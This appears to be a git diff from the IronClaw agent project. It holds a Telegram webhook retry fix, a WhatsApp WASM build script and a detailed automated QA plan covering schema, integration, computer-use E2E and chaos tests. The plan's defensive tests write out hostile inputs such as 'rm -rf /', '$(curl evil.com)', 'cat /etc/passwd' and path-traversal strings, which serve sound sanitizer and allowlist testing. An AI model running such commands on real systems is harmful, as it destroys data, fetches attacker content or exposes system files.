&format!("Failed to delete webhook (may not exist): {}", e),
);
}
// Delete any existing webhook before polling. Telegram returns success
// when no webhook exists, so any error here (e.g. 401) means a bad token.
delete_webhook()
.map_err(|e| format!("Bot token validation failed: {}", e))?;
}
// Configure polling only if not in webhook mode
@@ -901,36 +897,61 @@ fn register_webhook(tunnel_url: &str, webhook_secret: Option<&str>) -> Result<()
None,
);
match result {
Ok(response) => {
if response.status != 200 {
let body_str = String::from_utf8_lossy(&response.body);
return Err(format!("HTTP {}: {}", response.status, body_str));
}
let mut response = match result {
Ok(response) => response,
Err(e) => return Err(format!("HTTP request failed: {}", e)),
};
// Parse Telegram API response
let api_response: TelegramApiResponse<serde_json::Value> =
serde_json::from_slice(&response.body)
.map_err(|e| format!("Failed to parse response: {}", e))?;
let mut retried = false;
if response.status == 409 {
channel_host::log(
channel_host::LogLevel::Warn,
"409 Conflict -- deleting existing webhook and retrying",
);
let _ = delete_webhook();
retried = true;
if !api_response.ok {
return Err(format!(
"Telegram API error: {}",
api_response
.description
.unwrap_or_else(|| "unknown".to_string())
));
}
channel_host::log(
channel_host::LogLevel::Info,
&format!("Webhook registered successfully: {}", webhook_url),
);
Ok(())
}
Err(e) => Err(format!("HTTP request failed: {}", e)),
response = match channel_host::http_request(
"POST",
"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/setWebhook",
&headers.to_string(),
Some(&body_bytes),
None,
) {
Ok(resp) => resp,
Err(e) => return Err(format!("HTTP request failed (after 409 retry): {}", e)),
};
}
if response.status != 200 {
let body_str = String::from_utf8_lossy(&response.body);
let context = if retried { " (after 409 retry)" } else { "" };
return Err(format!("HTTP {}{}: {}", response.status, context, body_str));
}
// Parse Telegram API response
let api_response: TelegramApiResponse<serde_json::Value> =
serde_json::from_slice(&response.body)
.map_err(|e| format!("Failed to parse response: {}", e))?;
if !api_response.ok {
let context = if retried { " (after 409 retry)" } else { "" };
return Err(format!(
"Telegram API error{}: {}",
context,
api_response
.description
.unwrap_or_else(|| "unknown".to_string())
));
}
let context = if retried { " (after retry)" } else { "" };
channel_host::log(
channel_host::LogLevel::Info,
&format!("Webhook registered successfully{}: {}", context, webhook_url),
);
Ok(())
}
// ============================================================================
+48
View File
@@ -0,0 +1,48 @@
#!/usr/bin/env bash
# Build the WhatsApp channel WASM component
#
# Prerequisites:
# - Rust with wasm32-wasip2 target: rustup target add wasm32-wasip2
# - wasm-tools for component creation: cargo install wasm-tools
#
# Output:
# - whatsapp.wasm - WASM component ready for deployment
# - whatsapp.capabilities.json - Capabilities file (copy alongside .wasm)
set -euo pipefail
cd "$(dirname "$0")"
if ! command -v wasm-tools &> /dev/null; then
echo "Error: wasm-tools not found. Install with: cargo install wasm-tools"
exit 1
fi
echo "Building WhatsApp channel WASM component..."
# Build the WASM module
cargo build --release --target wasm32-wasip2
# Convert to component model (if not already a component)
# wasm-tools component new is idempotent on components
WASM_PATH="target/wasm32-wasip2/release/whatsapp_channel.wasm"
if [ -f "$WASM_PATH" ]; then
# Create component if needed
wasm-tools component new "$WASM_PATH" -o whatsapp.wasm 2>/dev/null || cp "$WASM_PATH" whatsapp.wasm
# Optimize the component
wasm-tools strip whatsapp.wasm -o whatsapp.wasm
echo "Built: whatsapp.wasm ($(du -h whatsapp.wasm | cut -f1))"
echo ""
echo "To install:"
echo " mkdir -p ~/.ironclaw/channels"
echo " cp whatsapp.wasm whatsapp.capabilities.json ~/.ironclaw/channels/"
echo ""
echo "Then add your access token to secrets:"
echo " # Set whatsapp_access_token in your environment or secrets store"
else
echo "Error: WASM output not found at $WASM_PATH"
exit 1
fi
+8
View File
@@ -0,0 +1,8 @@
# Complexity guardrails for AI-assisted development quality.
# These thresholds prevent new violations while preserving existing code.
# See: https://github.com/nearai/ironclaw/issues/338
cognitive-complexity-threshold = 15 # default: 25 (only active when lint is enabled)
too-many-lines-threshold = 100 # default: 100 (only active when lint is enabled)
too-many-arguments-threshold = 7 # default: 7 (keep default, avoids new violations)
type-complexity-threshold = 250 # default: 250 (keep default, avoids new violations)
+908
View File
@@ -0,0 +1,908 @@
# Automated QA Plan for IronClaw
**Date:** 2026-02-24
**Status:** Draft
**Goal:** Systematically close the QA gaps that led to the ~40 bugs found in issues/PRs to date, progressing from cheap high-ROI checks to full computer-use E2E testing.
---
## Motivation
A review of all closed issues and merged bug-fix PRs reveals that most IronClaw bugs fall into a few recurring categories:
| Category | Examples | Root Cause |
|----------|----------|------------|
| Config persistence | Wizard re-triggers on restart, LLM backend silently ignored | No round-trip test for config write→restart→read |
| Turn persistence | Tool approval results lost, user messages lost on crash | No test that persists a turn and reads it back |
| Tool schema validity | `required`/`properties` mismatch → 400s with OpenAI strict mode | No schema validator in CI |
| WASM lifecycle | Workspace writes silently discarded, duplicate Telegram messages | No test that exercises host function → flush → read-back |
| Web UI / SSE | No re-sync on reconnect, orphan threads, HTML injection | No browser-level testing at all |
| Shell safety | Destructive-command check was dead code, pipe deadlock, env leak | Tests never passed realistic `Value::Object` args |
| Build integrity | Docker build broken, feature-flag code untested | CI only runs one feature configuration |
Most bugs live at **integration boundaries**, not inside isolated functions. The plan is organized in four tiers of increasing scope and cost, each targeting a specific class of bug.
---
## Tier 1: Schema & Contract Tests
**Cost:** Low (pure Rust tests, no infrastructure)
**Timeline:** Can land incrementally, one PR per sub-task
**Bugs this would have caught:** #131, #268, #129, #174, #187, #96, #320
### 1.1 Tool Schema Validator
Every tool registered in `ToolRegistry` must produce a `parameters_schema()` that passes OpenAI's strict-mode rules. Write a test that iterates all built-in tools and asserts:
- Top-level has `"type": "object"`
- Every key in `"required"` exists in `"properties"`
- Every property has a `"type"` field
- No `additionalProperties` unless explicitly set
- Nested objects follow the same rules recursively
```rust
// src/tools/registry.rs or a new tests/tool_schema_validation.rs
#[test]
fn all_tool_schemas_are_openai_strict_valid() {
let registry = ToolRegistry::new();
register_all_builtins(&mut registry);
for tool in registry.all_tools() {
let schema = tool.parameters_schema();
validate_strict_schema(&schema, &tool.name())
.unwrap_or_else(|e| panic!("Tool '{}' has invalid schema: {}", tool.name(), e));
}
}
```
Add the same validation for WASM tools (loaded from `~/.ironclaw/tools/`) and MCP tools (mock a simple MCP manifest and validate the schema it produces).
**Files:** New `src/tools/schema_validator.rs` (validation logic), test in `tests/tool_schema_validation.rs`
### 1.2 Config Round-Trip Tests
Test the full config lifecycle: write via wizard helpers → read back via `Config` loader → assert values match.
Cover the specific bugs found:
- `LLM_BACKEND` written to bootstrap `.env` and read back correctly
- `EMBEDDING_ENABLED=false` survives restart when `OPENAI_API_KEY` is set
- `ONBOARD_COMPLETED=true` in bootstrap `.env` causes `check_onboard_needed()` to return `false`
- Session token stored under `nearai.session_token` (not `nearai.session`)
```rust
#[test]
fn bootstrap_env_round_trips_llm_backend() {
let dir = tempdir().unwrap();
let env_path = dir.path().join(".env");
save_bootstrap_env(&env_path, &[("LLM_BACKEND", "openai")]).unwrap();
// Simulate restart: load from env file
dotenv::from_path(&env_path).unwrap();
assert_eq!(std::env::var("LLM_BACKEND").unwrap(), "openai");
}
```
**Files:** New `tests/config_round_trip.rs`
### 1.3 Feature-Flag CI Matrix
The current `code_style.yml` runs clippy without `--all-features`, missing code behind `#[cfg(feature = "libsql")]` etc. The `test.yml` runs with `--all-features` but not with individual features.
Add a CI matrix:
```yaml
# .github/workflows/test.yml
strategy:
matrix:
features:
- "--all-features"
- "" # default features only
- "--no-default-features --features libsql"
steps:
- name: Run Tests
run: cargo test ${{ matrix.features }} -- --nocapture
```
Update `code_style.yml` to also run clippy with `--all-features`:
```yaml
- name: Check lints (all features)
run: cargo clippy --all-features -- -D warnings
- name: Check lints (libsql only)
run: cargo clippy --no-default-features --features libsql -- -D warnings
```
**Files:** Modify `.github/workflows/test.yml`, `.github/workflows/code_style.yml`
### 1.4 Docker Build in CI
Add a job that runs `docker build .` on every PR. No need to push the image -- just verify it builds.
```yaml
# .github/workflows/test.yml - new job
docker-build:
name: Docker Build
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- name: Build Docker image
run: docker build -t ironclaw-test:ci .
```
**Files:** Modify `.github/workflows/test.yml`
---
## Tier 2: Integration Tests
**Cost:** Medium (needs test harnesses, possibly testcontainers)
**Timeline:** Parallel workstream, ~1 week for the harness, then incremental test additions
**Bugs this would have caught:** #250, #305, #260, #264, #346, #125, #72, #140
### 2.1 Test Harness: In-Memory Database Backend
Many integration tests need a database but not a real PostgreSQL/libSQL instance. Create a lightweight in-memory `Database` implementation (backed by `HashMap`s) that satisfies the `Database` trait for test use. This avoids testcontainers overhead for most tests.
Alternatively, use libSQL in `:memory:` mode (it's SQLite under the hood):
```rust
// src/testing.rs
pub async fn test_db() -> impl Database {
let backend = LibSqlBackend::open_in_memory().await.unwrap();
backend.run_migrations().await.unwrap();
backend
}
```
**Files:** Extend `src/testing.rs`, potentially `src/db/libsql/mod.rs` (add `open_in_memory`)
### 2.2 Turn Persistence Tests
Test every code path in `process_approval` and the main agent loop that should call `persist_turn`:
```rust
#[tokio::test]
async fn approved_tool_call_persists_turn() {
let db = test_db().await;
let mut agent = TestAgent::new(db);
// Create a turn with a pending tool call
agent.submit("search for cats").await;
// Simulate tool approval
agent.approve_tool_call(0).await;
// Verify turn is in DB (not just in memory)
let turns = agent.db().get_turns(agent.thread_id()).await.unwrap();
assert!(turns.iter().any(|t| t.has_tool_result()));
}
```
Cover:
- Approved tool call with successful result
- Approved tool call with error result
- Approved tool call requiring auth
- Deferred tool call with auth
- User message persisted before agent loop starts (not after)
**Files:** New `tests/turn_persistence.rs`
### 2.3 WASM Channel Lifecycle Tests
Test the host function contract: `workspace_write()` followed by `take_pending_writes()` returns the written data. `workspace_read()` returns data that was previously written.
```rust
#[tokio::test]
async fn wasm_channel_workspace_writes_are_flushed() {
let mut wrapper = WasmChannelWrapper::new_test(telegram_wasm_bytes());
// Simulate a callback that writes workspace data
wrapper.handle_callback(test_update_payload()).await.unwrap();
// Verify writes were captured
let writes = wrapper.take_pending_writes();
assert!(!writes.is_empty(), "workspace_write() calls must be captured");
}
#[tokio::test]
async fn wasm_channel_workspace_read_returns_prior_writes() {
let mut wrapper = WasmChannelWrapper::new_test(telegram_wasm_bytes());
// Inject workspace data
wrapper.inject_workspace_entry("polling_offset", b"12345");
// Simulate a callback that reads workspace data
wrapper.handle_callback(test_update_payload()).await.unwrap();
// The channel should have used the injected offset (not 0)
// Verify by checking the getUpdates call offset parameter
}
```
**Files:** New `tests/wasm_channel_lifecycle.rs`, test helpers in `src/channels/wasm/wrapper.rs`
### 2.4 Extension Registry Collision Tests
Verify that installing a channel named "telegram" and a tool named "telegram" land in different directories and both resolve correctly:
```rust
#[tokio::test]
async fn channel_and_tool_with_same_name_dont_collide() {
let registry = TestRegistry::new();
registry.install("telegram", ArtifactKind::Channel).await.unwrap();
registry.install("telegram", ArtifactKind::Tool).await.unwrap();
assert!(registry.tools_dir().join("telegram").exists());
assert!(registry.channels_dir().join("telegram").exists());
// Both resolve independently
assert_eq!(registry.get("telegram", ArtifactKind::Channel).unwrap().kind, ArtifactKind::Channel);
assert_eq!(registry.get("telegram", ArtifactKind::Tool).unwrap().kind, ArtifactKind::Tool);
}
```
**Files:** New `tests/registry_collision.rs`
### 2.5 Shell Tool Realistic Arg Tests
The destructive-command check bug (PR #72) happened because tests passed `Value::String` args but the LLM sends `Value::Object`. Test with realistic args:
```rust
#[tokio::test]
async fn destructive_command_blocked_with_object_args() {
let shell = ShellTool::new();
let params = serde_json::json!({
"command": "rm -rf /"
});
// This is how the LLM actually sends args -- as an Object, not a String
let result = shell.execute(params, &test_context()).await;
assert!(result.is_err() || result.unwrap().contains("blocked"));
}
```
Also test pipe deadlock prevention with large output:
```rust
#[tokio::test]
async fn shell_handles_large_output_without_deadlock() {
let shell = ShellTool::new();
let params = serde_json::json!({
"command": "yes | head -c 200000" // ~200KB, well above pipe buffer
});
let result = tokio::time::timeout(
Duration::from_secs(10),
shell.execute(params, &test_context())
).await;
assert!(result.is_ok(), "shell tool deadlocked on large output");
}
```
**Files:** Extend `src/tools/builtin/shell.rs` tests
### 2.6 Failover and Circuit Breaker Edge Cases
```rust
#[test]
fn cooldown_activation_at_zero_nanos() {
let mut cooldown = ProviderCooldown::new();
// Edge case: if system clock returns 0 (or test mock does)
cooldown.activate_cooldown(0);
assert!(cooldown.is_in_cooldown(), "cooldown(0) must not be a no-op");
}
#[tokio::test]
async fn failover_with_all_providers_failing() {
let failover = FailoverProvider::new(vec![
always_failing_provider("a]"),
always_failing_provider("b"),
]);
let result = failover.chat(&[]).await;
assert!(result.is_err());
// Must not panic (the old .expect() bug)
}
```
**Files:** Extend `src/llm/circuit_breaker.rs` and `src/llm/failover.rs` tests
### 2.7 Context Length Recovery Test
Verify that when the LLM returns a `ContextLengthExceeded` error, the agent triggers compaction and retries rather than propagating the raw error:
```rust
#[tokio::test]
async fn context_length_exceeded_triggers_compaction() {
let mut agent = TestAgent::with_provider(
ContextLimitMockProvider::new(fail_after_n_turns: 3)
);
// Send enough messages to trigger context limit
for i in 0..5 {
agent.submit(&format!("message {i}")).await;
}
// Agent should have compacted and continued, not errored
assert!(agent.last_response().is_ok());
assert!(agent.compaction_count() > 0);
}
```
**Files:** New `tests/context_recovery.rs`
---
## Tier 3: Computer-Use E2E Testing
**Cost:** High (requires Anthropic computer use API, headless browser, ironclaw running)
**Timeline:** ~2 weeks for infrastructure, then incremental scenario additions
**Bugs this would have caught:** #307, #306, #263, all manual web-ui-test checklist items
### 3.1 Architecture
```
+------------------+ +-----------------+ +------------------+
| Test Runner | | Headless | | IronClaw |
| (Python/TS) |---->| Chromium |---->| (cargo run) |
| | | (Playwright) | | GATEWAY=true |
| Orchestrates | | | | port 3001 |
| scenarios | | Screenshots | | |
+--------+---------+ +--------+--------+ +------------------+
| |
v v
+------------------+ +-----------------+
| Claude | | Assertion |
| Computer Use | | Engine |
| API | | (visual + |
| (screenshot → | | DOM-based) |
| action) | | |
+------------------+ +-----------------+
```
**Components:**
1. **Test runner** -- Python or TypeScript script that orchestrates the flow. Starts ironclaw, waits for readiness, launches Playwright browser, runs scenarios.
2. **Playwright browser** -- Headless Chromium. Takes screenshots, executes click/type actions as directed by the computer use agent. Also provides DOM access for structural assertions (element exists, text content matches, no error toasts).
3. **Claude computer use agent** -- Anthropic API with `computer-use-2025-01-24` tool. Receives screenshots, returns actions (click coordinates, type text, scroll). The test runner translates actions into Playwright calls.
4. **Assertion engine** -- Hybrid approach:
- **DOM assertions** (Playwright): Fast, deterministic checks like "element with text 'Connected' exists", "no elements with class 'error-toast' visible", "skills list has N children"
- **Visual assertions** (Claude vision): For subjective checks like "the chat message rendered correctly", "no raw HTML visible in the output", "the SSE stream is updating in real-time"
### 3.2 Test Infrastructure Setup
**Directory structure:**
```
tests/
e2e/
conftest.py # pytest fixtures: start ironclaw, browser
computer_use.py # Claude computer use client wrapper
assertions.py # DOM + visual assertion helpers
scenarios/
test_connection.py
test_chat.py
test_skills.py
test_sse_reconnect.py
test_onboarding.py
test_html_injection.py
test_tool_approval.py
screenshots/ # Reference screenshots (gitignored)
Dockerfile.test # Container for CI: ironclaw + chromium
```
**Fixture: start ironclaw**
```python
@pytest.fixture(scope="session")
async def ironclaw_server():
"""Start ironclaw with gateway enabled, return base URL."""
env = {
"CLI_ENABLED": "false",
"GATEWAY_ENABLED": "true",
"GATEWAY_PORT": "3001",
"GATEWAY_AUTH_TOKEN": "test-token-e2e",
"GATEWAY_USER_ID": "e2e-tester",
"LLM_BACKEND": "openai_compatible", # or mock
"LLM_BASE_URL": "http://localhost:11434/v1", # local Ollama
"DATABASE_BACKEND": "libsql",
"LIBSQL_PATH": ":memory:",
"SANDBOX_ENABLED": "false",
"SKILLS_ENABLED": "true",
}
proc = await asyncio.create_subprocess_exec(
"cargo", "run", "--features", "libsql",
env={**os.environ, **env},
)
await wait_for_ready("http://127.0.0.1:3001/api/health", timeout=120)
yield "http://127.0.0.1:3001"
proc.terminate()
```
**Fixture: browser with computer use**
```python
@pytest.fixture
async def browser_agent(ironclaw_server):
"""Playwright browser + Claude computer use agent."""
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
page = await browser.new_page(viewport={"width": 1280, "height": 720})
await page.goto(f"{ironclaw_server}/?token=test-token-e2e")
agent = ComputerUseAgent(page)
yield agent
await browser.close()
```
**Computer use wrapper:**
```python
class ComputerUseAgent:
"""Drives the browser via Claude computer use API."""
def __init__(self, page: Page):
self.page = page
self.client = anthropic.Anthropic()
async def execute_scenario(self, instruction: str, max_steps: int = 20) -> list[str]:
"""
Give a natural-language instruction, let Claude drive the browser.
Returns a list of observations/assertions from Claude.
"""
messages = [{"role": "user", "content": instruction}]
observations = []
for _ in range(max_steps):
screenshot = await self.take_screenshot()
response = self.client.messages.create(
model="claude-sonnet-4-20250514",
max_tokens=1024,
tools=[{
"type": "computer_20250124",
"name": "computer",
"display_width_px": 1280,
"display_height_px": 720,
}],
messages=messages,
)
# Process tool use blocks (click, type, screenshot, etc.)
for block in response.content:
if block.type == "tool_use":
result = await self.execute_action(block.input)
messages.append({"role": "assistant", "content": response.content})
messages.append({"role": "user", "content": [result]})
elif block.type == "text":
observations.append(block.text)
if response.stop_reason == "end_turn":
break
return observations
async def take_screenshot(self) -> bytes:
return await self.page.screenshot(type="png")
async def execute_action(self, action: dict) -> dict:
"""Translate Claude's computer use action to Playwright calls."""
if action["action"] == "click":
await self.page.mouse.click(action["coordinate"][0], action["coordinate"][1])
elif action["action"] == "type":
await self.page.keyboard.type(action["text"])
elif action["action"] == "scroll":
await self.page.mouse.wheel(0, action["coordinate"][1])
elif action["action"] == "key":
await self.page.keyboard.press(action["text"])
# Return screenshot after action
screenshot = await self.take_screenshot()
return {"type": "tool_result", "content": [
{"type": "image", "source": {"type": "base64", "media_type": "image/png",
"data": base64.b64encode(screenshot).decode()}}
]}
```
### 3.3 Test Scenarios
Each scenario maps to a real bug or the existing manual checklist in `skills/web-ui-test/SKILL.md`.
#### Scenario 1: Connection and Tab Navigation
```python
async def test_connection_and_tabs(browser_agent):
"""Bugs: #306 (orphan threads on null threadId during page load)"""
observations = await browser_agent.execute_scenario("""
1. Look at the page. Verify there is a "Connected" indicator visible.
2. Click each tab in order: Chat, Memory, Jobs, Routines, Extensions, Skills.
3. For each tab, verify the panel content changes and no error messages appear.
4. Return to the Chat tab.
5. Report what you see for each tab.
""")
# DOM assertions (fast, deterministic)
page = browser_agent.page
assert await page.locator(".connection-status.connected").count() > 0
for tab in ["chat", "memory", "jobs", "routines", "extensions", "skills"]:
assert await page.locator(f'[data-tab="{tab}"]').count() > 0
```
#### Scenario 2: Chat Message Round-Trip
```python
async def test_chat_sends_and_receives(browser_agent):
"""Bugs: #305 (user message not persisted), #255 (fake proceed messages)"""
observations = await browser_agent.execute_scenario("""
1. Click on the chat input box at the bottom.
2. Type "Hello, what is 2+2?" and press Enter.
3. Wait for the assistant to respond (you should see a streaming response).
4. Verify the assistant's response appears below your message.
5. Report the assistant's response.
""")
page = browser_agent.page
# At least 2 messages: user + assistant
messages = await page.locator(".message").count()
assert messages >= 2
# No error toasts
assert await page.locator(".toast.error").count() == 0
```
#### Scenario 3: SSE Reconnect
```python
async def test_sse_reconnect_preserves_history(browser_agent, ironclaw_server):
"""Bug: #307 (no re-sync on SSE reconnect after server restart)"""
page = browser_agent.page
# Step 1: Send a message
await browser_agent.execute_scenario("""
Type "Remember this: the secret word is platypus" in the chat and press Enter.
Wait for the response.
""")
msg_count_before = await page.locator(".message").count()
# Step 2: Kill and restart the server
# (test fixture provides a restart helper)
await restart_ironclaw(ironclaw_server)
# Step 3: Wait for reconnect
await page.wait_for_selector(".connection-status.connected", timeout=30000)
# Step 4: Verify message history is preserved
msg_count_after = await page.locator(".message").count()
assert msg_count_after >= msg_count_before, \
f"Messages lost after reconnect: {msg_count_before} -> {msg_count_after}"
```
#### Scenario 4: Skills Search, Install, Remove
```python
async def test_skills_lifecycle(browser_agent):
"""Automates the manual checklist from skills/web-ui-test/SKILL.md"""
# Override confirm() to auto-accept
await browser_agent.page.evaluate("window.confirm = () => true")
observations = await browser_agent.execute_scenario("""
1. Click the "Skills" tab.
2. Look for a search box. Type "markdown" and press Enter or click Search.
3. Wait for results to appear.
4. Verify results show: name, version, description.
5. Click "Install" on the first result.
6. Wait for a success notification.
7. Verify the skill now appears in the "Installed Skills" section.
8. Click "Remove" on the skill you just installed.
9. Wait for a success notification.
10. Verify the skill is gone from the installed list.
11. Report what happened at each step.
""")
# Final state: no installed skills (we removed what we installed)
page = browser_agent.page
await page.click('[data-tab="skills"]')
# Should not have the test skill installed
```
#### Scenario 5: HTML Injection Defense
```python
async def test_html_injection_sanitized(browser_agent):
"""Bug: #263 (HTML error pages injected into UI, still open)"""
# This requires a mock LLM that returns HTML in tool output
# or we craft a message that triggers tool output containing HTML
page = browser_agent.page
await browser_agent.execute_scenario("""
Type this exact message in the chat and press Enter:
"Please use the http tool to fetch https://httpbin.org/html"
Wait for the response.
""")
# The page should NOT have raw HTML rendering from the tool output
# Check that no unexpected <h1> or full <html> documents appear
body_html = await page.inner_html("body")
assert "<html>" not in body_html.lower() or "code" in body_html.lower(), \
"Raw HTML from tool output was injected unsanitized into the page"
```
#### Scenario 6: Tool Approval Overlay
```python
async def test_tool_approval_overlay(browser_agent):
"""Bugs: #250 (approval results not persisted), #72 (destructive check dead code)"""
observations = await browser_agent.execute_scenario("""
1. Type "Run the shell command: echo hello world" in chat and press Enter.
2. If an approval dialog appears, click "Approve" or "Allow".
3. Wait for the result.
4. Verify the output includes "hello world".
5. Report what you see.
""")
```
#### Scenario 7: Onboarding Wizard (Full Flow)
```python
async def test_onboarding_wizard_completes(tmp_ironclaw_home):
"""Bugs: #187, #174, #129, #185 (wizard persistence and re-trigger)"""
# Start ironclaw with a fresh home directory (no prior config)
# The wizard runs in TUI mode, so we need a PTY or use the web wizard
# if/when one exists. For now, test the CLI wizard via expect-style automation.
proc = pexpect.spawn(
"cargo run",
env={"IRONCLAW_HOME": str(tmp_ironclaw_home), **base_env},
timeout=60,
)
# Step through wizard
proc.expect("Welcome to IronClaw")
proc.expect("LLM Backend")
proc.sendline("1") # Select first option
# ... continue through all 7 steps ...
proc.expect("Setup complete")
proc.close()
# Restart and verify wizard does NOT re-trigger
proc2 = pexpect.spawn(
"cargo run",
env={"IRONCLAW_HOME": str(tmp_ironclaw_home), **base_env},
timeout=30,
)
proc2.expect("Agent ironclaw ready") # Should skip wizard
# Must NOT see "Welcome to IronClaw" again
assert not proc2.match_any(["Welcome to IronClaw"], timeout=5)
proc2.close()
```
### 3.4 LLM Backend for E2E Tests
E2E tests should not depend on external LLM APIs (flaky, expensive, slow). Options:
1. **Local Ollama** -- Run a small model (e.g., `qwen2.5:0.5b`) locally. Good enough for basic tool-calling tests. Set `LLM_BACKEND=openai_compatible` and `LLM_BASE_URL=http://localhost:11434/v1`.
2. **Mock LLM server** -- A tiny HTTP server that returns canned responses based on message content patterns. Fastest and most deterministic, but requires maintaining fixtures.
3. **Recorded responses** -- Record real LLM interactions once, replay in tests (VCR-style). Good balance of realism and determinism.
Recommendation: Start with local Ollama for development, mock LLM server for CI.
### 3.5 CI Integration
E2E tests are expensive and slow. Run them on a separate schedule, not on every PR:
```yaml
# .github/workflows/e2e.yml
name: E2E Tests
on:
schedule:
- cron: "0 6 * * *" # Daily at 6 AM UTC
workflow_dispatch: # Manual trigger
jobs:
e2e:
runs-on: ubuntu-latest
services:
ollama:
image: ollama/ollama:latest
steps:
- uses: actions/checkout@v6
- name: Build ironclaw
run: cargo build --features libsql
- name: Install Playwright
run: pip install playwright pytest-playwright && playwright install chromium
- name: Pull test model
run: ollama pull qwen2.5:0.5b
- name: Run E2E tests
run: pytest tests/e2e/ -v --timeout=300
env:
LLM_BACKEND: openai_compatible
LLM_BASE_URL: http://localhost:11434/v1
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
```
---
## Tier 4: Chaos and Resilience Testing
**Cost:** Medium (needs mock providers, time-control utilities)
**Timeline:** After Tier 2 harness exists; add scenarios incrementally
**Bugs this would have caught:** #260, #125, #155, #252 (infinite loop), #139
### 4.1 LLM Provider Chaos
Test the failover chain, circuit breaker, and retry logic under realistic failure modes:
```rust
/// Provider that fails N times then succeeds
struct FlakeyProvider { failures_remaining: AtomicU32 }
/// Provider that returns ContextLengthExceeded after N messages
struct ContextBombProvider { threshold: usize }
/// Provider that hangs forever (tests timeout handling)
struct HangingProvider;
/// Provider that returns malformed JSON
struct GarbageProvider;
```
**Test scenarios:**
| Scenario | Setup | Expected |
|----------|-------|----------|
| Primary fails, secondary works | FlakeyProvider(3) + working provider | Failover after 3 retries, user gets response |
| All providers fail | FlakeyProvider(max) x3 | Graceful error to user, no panic |
| Context limit mid-conversation | ContextBombProvider(5) | Auto-compaction triggers, conversation continues |
| Provider hangs | HangingProvider with 10s timeout | Timeout error, failover to next |
| Malformed response | GarbageProvider | Error logged, retry or failover |
| Circuit breaker trips | FlakeyProvider(100) | Circuit opens after threshold, fast-fails subsequent calls |
| Circuit breaker recovers | FlakeyProvider(5) then success | Circuit half-opens, test call succeeds, circuit closes |
**Files:** New `tests/provider_chaos.rs`, mock providers in `src/testing.rs`
### 4.2 Concurrent Job Stress Test
Submit many jobs simultaneously and verify no state corruption:
```rust
#[tokio::test]
async fn concurrent_jobs_dont_corrupt_state() {
let db = test_db().await;
let agent = TestAgent::new(db);
// Submit 20 jobs concurrently
let handles: Vec<_> = (0..20)
.map(|i| {
let agent = agent.clone();
tokio::spawn(async move {
agent.submit(&format!("job {i}: what is {i} + {i}?")).await
})
})
.collect();
let results: Vec<_> = futures::future::join_all(handles).await;
// All should complete (some may error, none should panic)
for result in &results {
assert!(result.is_ok(), "job panicked: {:?}", result);
}
// Verify no cross-contamination in contexts
let jobs = agent.db().list_jobs().await.unwrap();
let unique_contexts: HashSet<_> = jobs.iter().map(|j| j.context_id).collect();
assert_eq!(unique_contexts.len(), jobs.len(), "context IDs must be unique per job");
}
```
**Files:** New `tests/concurrent_jobs.rs`
### 4.3 Dispatcher Infinite Loop Guard
The dispatcher had an infinite loop bug (PR #252) where `continue` skipped the index increment. Add a test that verifies the dispatcher terminates even when hooks reject tool calls:
```rust
#[tokio::test]
async fn dispatcher_terminates_when_hook_rejects() {
let dispatcher = TestDispatcher::new();
dispatcher.add_hook(|_tool_call| HookResult::Reject("nope".into()));
let result = tokio::time::timeout(
Duration::from_secs(5),
dispatcher.dispatch(vec![tool_call("shell", "rm -rf /")]),
).await;
assert!(result.is_ok(), "dispatcher infinite-looped on rejected tool call");
}
```
**Files:** Extend `src/agent/dispatcher.rs` tests
### 4.4 Value Estimator Boundary Tests
```rust
#[test]
fn is_profitable_with_zero_price() {
let estimator = ValueEstimator::new();
// Must not panic (was a divide-by-zero before PR #139)
let result = estimator.is_profitable(Decimal::ZERO, Decimal::new(100, 0));
assert!(!result);
}
#[test]
fn is_profitable_with_negative_cost() {
let estimator = ValueEstimator::new();
let result = estimator.is_profitable(Decimal::new(100, 0), Decimal::new(-50, 0));
// Negative cost = always profitable
assert!(result);
}
```
**Files:** Extend `src/estimation/value.rs` tests
### 4.5 Safety Layer Adversarial Tests
Test the safety layer with adversarial inputs that have caused real bypasses:
```rust
#[test]
fn path_traversal_in_wasm_allowlist() {
let allowlist = DomainAllowlist::new(vec!["api.example.com/v1/"]);
// Must be blocked: path traversal before normalization
assert!(!allowlist.allows("api.example.com/v1/../admin"));
assert!(!allowlist.allows("api.example.com/v1/../../etc/passwd"));
}
#[test]
fn shell_env_scrubbing_removes_secrets() {
let env = scrubbed_env();
assert!(!env.contains_key("OPENAI_API_KEY"));
assert!(!env.contains_key("NEARAI_SESSION_TOKEN"));
assert!(!env.contains_key("DATABASE_URL"));
// Safe vars preserved
assert!(env.contains_key("PATH"));
assert!(env.contains_key("HOME"));
}
#[test]
fn leak_detector_catches_api_keys_in_output() {
let detector = LeakDetector::default();
let output = "Here's your key: sk-1234567890abcdef1234567890abcdef";
let result = detector.scan(output);
assert!(result.has_leaks());
}
#[test]
fn sanitizer_blocks_command_injection() {
let sanitizer = Sanitizer::new();
let inputs = vec![
"hello; rm -rf /",
"$(curl evil.com)",
"hello\n`whoami`",
"test && cat /etc/passwd",
];
for input in inputs {
let result = sanitizer.sanitize(input);
assert_ne!(result, input, "injection not caught: {input}");
}
}
```
**Files:** Extend tests in `src/safety/sanitizer.rs`, `src/safety/leak_detector.rs`, `src/sandbox/proxy/allowlist.rs`, `src/tools/builtin/shell.rs`
---
## Implementation Priority
| Priority | Tier | Item | Effort | Bugs Prevented |
|----------|------|------|--------|----------------|
| P0 | 1.1 | Tool schema validator | 1 day | Schema 400s with every provider |
| P0 | 1.3 | Feature-flag CI matrix | 0.5 day | Dead code behind wrong cfg gate |
| P0 | 1.4 | Docker build in CI | 0.5 day | Broken Docker builds |
| P1 | 1.2 | Config round-trip tests | 1 day | Onboarding persistence bugs |
| P1 | 2.1 | Test harness (in-memory DB) | 2 days | Enables all Tier 2 tests |
| P1 | 2.2 | Turn persistence tests | 1 day | Lost turns/messages |
| P1 | 2.5 | Shell tool realistic args | 0.5 day | Dead safety checks |
| P1 | 4.5 | Safety adversarial tests | 1 day | Security bypasses |
| P2 | 2.3 | WASM channel lifecycle | 1 day | Duplicate messages, lost writes |
| P2 | 2.4 | Registry collision tests | 0.5 day | Wrong install directory |
| P2 | 2.6 | Failover edge cases | 0.5 day | Panics, sentinel bugs |
| P2 | 2.7 | Context recovery test | 1 day | Raw errors to user |
| P2 | 4.1 | Provider chaos tests | 2 days | Failover/retry regressions |
| P2 | 4.3 | Dispatcher loop guard | 0.5 day | Infinite loops |
